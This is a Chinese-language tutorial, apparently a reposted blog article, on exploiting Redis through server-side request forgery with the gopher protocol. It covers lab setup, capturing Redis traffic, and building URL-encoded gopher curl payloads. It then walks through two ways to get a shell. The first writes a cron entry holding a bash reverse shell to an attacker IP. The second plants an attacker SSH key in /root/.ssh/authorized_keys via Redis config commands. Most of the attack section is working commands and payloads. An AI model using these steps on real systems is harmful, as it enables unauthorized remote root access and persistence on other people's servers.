这篇文章主要为大家展示了“Redis中服务端请求伪造SSRF的示例分析”，内容简而易懂，条理清晰，希望能够帮助大家解决疑惑，下面让小编带领大家一起研究并学习一下“Redis中服务端请求伪造SSRF的示例分析”这篇文章吧。
SSRF，即服务端请求伪造。当服务器需要请求资源时，请求的资源、协议、路径等可被用户控制。即可造成SSRF攻击。
本文着重研究通过 gopher协议 ，对 Redis服务 进行SSRF攻击，进而getshell。
首先先了解gopher协议为何物，格式是什么样子：
gopher://<host>:<port>//<gopher-path>_后接TCP数据流
在我们测试攻击redis时，可以使用 linux 自带的 curl进行测试。
如果使用Centos，为了确保实验成功，最好将 Centos的 selinux关闭。
关闭 selinux：
setenforce 0
虚拟机装台 Centos7即可。
redis安装：
wget http://download.redis.io/releases/redis-4.0.6.tar.gz //下载redis压缩包
yum install gcc //安装make时必备的gcc
tar -xzvf redis-4.0.6.tar.gz //解压压缩包 cd redis-4.0.6 //进入压缩包目录
make MALLOC=libc //编译
cd src //编译完成后会生成一个文件夹src，进入src文件夹
make install //安装
redis运行：
在 redis-4.0.6 目录下，redis.conf 是最初始的redis配置文件
redis-4.0.6/src 目录下，有两个最重要的可执行文件：
redis-server -- 服务端
redis-cli -- 客户端
直接运行 服务端程序，即可开启 redis 服务。
./redis-server
直接运行 客户端程序，默认连接本地的redis服务：
./redis-cli
首先我们得开启抓包软件，捕获与redis通信的数据包。
在Linux中，可以用tcpdump来抓流量：
tcpdump -i lo -s 0 port 6379 -w redis.pcap
若是抓本地接口的流量，注意是lo不是eth0
我们先登录，然后执行 set key 操作：
将tcpdump抓到的包导出来，用wireshark打开，追踪TCP流
只看我们输入的数据，不看服务端返回的数据，可以看到只有几行：
在 “显示和保存数据为” 这一位置，选择 Hex转储，将会得到如下的数据：
其中 画红色框的就是一会用到的payload
将所有东西都复制出来，使用编辑器去掉除了红框以外的所有无关数据
然后给每个十六进制值前加上一个百分号，排成一行即可：
构造 curl 请求：
curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -
回显：
查询key：
可以成功设置key。
先配置redis为 需要密码登录：
修改redis下的配置文件 redis.conf，搜索 requirepass 关键字。
默认 requirepass 是被注释的，将注释符号删除，再在 requirepass 后面填写想要给 redis 设置的密码
配置好后启动 redis 的命令为：
./redis-server redis配置文件路径
尝试攻击有密码redis：
首先，开启tcpdump抓包，然后在redis命令行中执行操作：
重新抓流量，和之前一样操作，发现密码验证也就是加多了一个auth命令：
重复上文的步骤即可。
接下来讲重点：通过 set key GetShell：
思路：
（1）将反弹shell命令写到定时任务里，攻击机只需要开一个netcat端口即可。
（2）写入ssh-keygen，进行ssh免密登录。
一个个细细道来。
基本要求：
redis需要是以 root 权限运行，不然写不到 /var/spool/cron/ 目录下
1.首先得知道 Linux 下的定时任务是个什么东西：
Linux下设置定时任务命令为 crontab
配置文件为 /etc/crontab
下面这张图是配置文件里的内容，很好的说明了 crontab 配置的格式
这个配置文件应该只是供参考用的，我们的定时任务需要自己手动写在 /var/spool/cron/ 目录下
如果我们要每分钟执行一次命令 echo1 > /tmp/1.txt
则可以这么操作：
vim /var/spool/cron/root //root是文件名，一般以执行的用户命名
在文件中写入
* * * * * root echo1 > /tmp/1.txt
保存退出后，重启 crontab 服务：
systemctl restart crond.service
即可每一分钟执行一次该命令
2.接着要知道linux下通过输入输出流反弹shell
命令：
/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1
直接看效果：
这里巧妙的结合了Linux中 文件描述符、重定向符和 /dev/
文件描述符 1 表示标准输入
文件描述符 2 表示标准输出
/bin/bash -i 表示的是调用bash命令的交互模式，并将交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。
重定向时加入一个描述符 &，表示直接作为数据流输入。不加 & 时，重定向默认是输出到文件里的。
做个实例就清晰明了了
/dev/tcp/ip地址/端口号 是linux下的特殊文件，表示对这个地址端口进行tcp连接
这里我们设置成攻击机监听的地址
最后面的 0>&1 。此时攻击机和靶机已经建立好了连接，当攻击机进行输入时，就是这里的 0（标准输入）
通过重定向符，重定向到 1（标准输入）中，由于是作为 /bin/bash 的标准输入，所以就执行了系统命令了。
3.还需要知道Redis如何写入文件
Redis 中可以导出当前数据库中的 key 和 value
并且可以通过命令配置导出路径和文件名：
config set dir /tmp/test //设置导出路径 config set dbfilename root //设置导出文件名 save //执行导出操作
可以看到，格式非常乱。不过还好linux中的cron不会报错，只要读到一行正确配置即可执行。
通过crontab定时任务 getshell
为了能让linux能够正确读到一行，我们在 set key 的时候手动添加 \n（换行）
redis语句：
config set dir /var/spool/cron config set dbfilename root set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n" save
转换成 gopher协议，进行curl请求：
成功写入：
成功getshell：
注意：这里有一个坑点。
cron文件不需要写用户名，不然会报错：
（2）ssh免密登录
在linux中，ssh可配置成免密登录。
需要修改 ssh 配置文件 /etc/ssh/sshd_config
将
#StrictModes yes
改为
StrictModes no
然后重启sshd即可
免密登录条件：
客户端生成公钥和私钥
将公钥上传至服务端 即可
在SSRF利用中，同样需要root权限运行 redis
如果不是root权限，需要能够 ssh 登录的用户权限运行 redis
正常免密登录流程：
1.客户端先生成公钥和私钥
使用工具 ssh-keygen：
ssh-keygen -t rsa
执行完毕后将会在 用户家目录中的 .ssh文件夹中放有公钥与私钥 文件
有.pub后缀的就是公钥，没有.pub后缀的就是私钥
2.上传公钥至服务器
将公钥上传至服务端的 /root/.ssh目录下
嫌麻烦可以用 ssh-copy-id工具
3.重命名文件为authorized_keys
文件名要重命名为 authorized_keys
authorized_keys 文件内容如下：
如果有多台客户端需要免密登录，新起一行，新行中写对应的客户端的公钥值即可
类似这样：
4.免密登录
传好后即可免密登录：
ssh免密登录 getshelll
我们知道了要写入的文件位置、要写入的内容（公钥事先生成好），我们可以构造redis语句了：
//先配置路径 config set dir /root/.ssh config set dbfilename authorized_keys //写入公钥 set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n" //保存 save
改成gopher协议格式:
查看 authorized_keys 文件：
成功免密登录：
以上是“Redis中服务端请求伪造SSRF的示例分析”这篇文章的所有内容，感谢各位的阅读！相信大家都有了一定的了解，希望分享的内容对大家有所帮助，如果还想学习更多知识，欢迎关注亿速云行业资讯频道！
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。
